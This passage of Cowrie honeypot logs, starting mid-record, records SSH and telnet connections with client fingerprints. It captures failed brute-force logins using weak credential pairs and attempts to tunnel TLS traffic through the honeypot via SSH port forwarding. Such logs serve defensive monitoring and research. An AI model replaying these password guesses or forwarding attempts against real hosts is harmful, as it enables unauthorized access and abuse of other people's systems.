ha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:40.610000Z","src_ip":"45.153.34.195","session":"8f5e9bdd951f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:40.925505Z","src_ip":"45.153.34.195","session":"8f5e9bdd951f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:42.013634Z","src_ip":"45.153.34.195","session":"8f5e9bdd951f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59474,"dst_ip":"159.203.135.109","dst_port":23,"session":"da2dde0cf568","protocol":"telnet","message":"New connection: 128.199.8.54:59474 (159.203.135.109:23) [session: da2dde0cf568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:42.771402Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:43.384274Z","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:43.420740Z","src_ip":"63.141.242.2","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03^\\x04\\xc6o\\x19\\xaf\\xce\\x1b\\x16\\xc1\\x93n\\x11\\xd1\\xdf\\xdc\\xe5U\\xb2:x]2\\x19{\\x14\\x85\\x01-\\xa2z\\xe8 \\x1e\\xd3\\x0c\\xe6Ug.\\xd5a\\xaa\\xfc\\x83\\xf4\\x0b\\xfd\\x1f~\\xcf\\x92l\\x89\\xc7\\xac\\xcdL\\x80\\x8e\\xdf\\xec\\xcd\\xdcv\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc3)r\\xf3\\x9b5\\x05{\\xb4\\x95\\x1b\\x1b`\\x1e)\\xbb,\\xf5_+h\\x8a\\xe5\\xdaDE\\xa9\\xc98\\x02\\xff8\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03^\\x04\\xc6o\\x19\\xaf\\xce\\x1b\\x16\\xc1\\x93n\\x11\\xd1\\xdf\\xdc\\xe5U\\xb2:x]2\\x19{\\x14\\x85\\x01-\\xa2z\\xe8 \\x1e\\xd3\\x0c\\xe6Ug.\\xd5a\\xaa\\xfc\\x83\\xf4\\x0b\\xfd\\x1f~\\xcf\\x92l\\x89\\xc7\\xac\\xcdL\\x80\\x8e\\xdf\\xec\\xcd\\xdcv\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc3)r\\xf3\\x9b5\\x05{\\xb4\\x95\\x1b\\x1b`\\x1e)\\xbb,\\xf5_+h\\x8a\\xe5\\xdaDE\\xa9\\xc98\\x02\\xff8\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:43.427152Z","src_ip":"63.141.242.2","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33444,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a6191b04ea","protocol":"ssh","message":"New connection: 45.153.34.195:33444 (10.17.0.5:22) [session: 04a6191b04ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:43.458388Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:43.467989Z","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:43.484465Z","src_ip":"45.153.34.195","session":"04a6191b04ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:43.503405Z","src_ip":"63.141.242.2","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03[\\xdd\\xe2\\xe0\\x96\\x02I~\\xdbF\\xfc1K\\xcd\\xb4\\xaa\\xf1\\x9b2\\x04\\xfa\\xddC][\\x13\\xb9\\xc9l\\x95\\xf3\\xcd (\\n\\xdf5\\x92\\xe5\\x05\\xad\\x15\\xdb(\\xb8\\x91\\\\\\xd7\\xf0G\\x1cj\\xb4\\xa2\\xcc\\x99\\xa9\\xd1\\xacQ\\xd25\\x0by\\xcf\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x87\\xfe\\xf8\\x1e\\xec\\xc4\\xa0\\x1e\\xc7\\xe9?\\x82\\xb2\\x06\\x11O\\x93\\xff\\x8f#=\\xc0d\\x8f\\x8eYy\\x96\\xfe<p\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03[\\xdd\\xe2\\xe0\\x96\\x02I~\\xdbF\\xfc1K\\xcd\\xb4\\xaa\\xf1\\x9b2\\x04\\xfa\\xddC][\\x13\\xb9\\xc9l\\x95\\xf3\\xcd (\\n\\xdf5\\x92\\xe5\\x05\\xad\\x15\\xdb(\\xb8\\x91\\\\\\xd7\\xf0G\\x1cj\\xb4\\xa2\\xcc\\x99\\xa9\\xd1\\xacQ\\xd25\\x0by\\xcf\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x87\\xfe\\xf8\\x1e\\xec\\xc4\\xa0\\x1e\\xc7\\xe9?\\x82\\xb2\\x06\\x11O\\x93\\xff\\x8f#=\\xc0d\\x8f\\x8eYy\\x96\\xfe<p\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:43.507576Z","src_ip":"63.141.242.2","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:43.580821Z","src_ip":"45.153.34.195","session":"04a6191b04ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apex","password":"apex","message":"login attempt [apex/apex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:44.038755Z","src_ip":"45.153.34.195","session":"04a6191b04ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48998,"dst_ip":"10.17.0.5","dst_port":22,"session":"1170b8f5160d","protocol":"ssh","message":"New connection: 91.92.40.36:48998 (10.17.0.5:22) [session: 1170b8f5160d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:44.076580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:44.869130Z","src_ip":"91.92.40.36","session":"1170b8f5160d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:44.873101Z","src_ip":"91.92.40.36","session":"1170b8f5160d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:45.121361Z","src_ip":"45.153.34.195","session":"04a6191b04ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.9","message":"Connection lost after 26.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:45.645322Z","src_ip":"63.141.242.2","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33456,"dst_ip":"10.17.0.5","dst_port":22,"session":"b18927d343d0","protocol":"ssh","message":"New connection: 45.153.34.195:33456 (10.17.0.5:22) [session: b18927d343d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:46.638963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:46.681184Z","src_ip":"45.153.34.195","session":"b18927d343d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:46.735411Z","src_ip":"45.153.34.195","session":"b18927d343d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lin","password":"123456","message":"login attempt [lin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:47.049104Z","src_ip":"91.92.40.36","session":"1170b8f5160d","protocol":"ssh"}
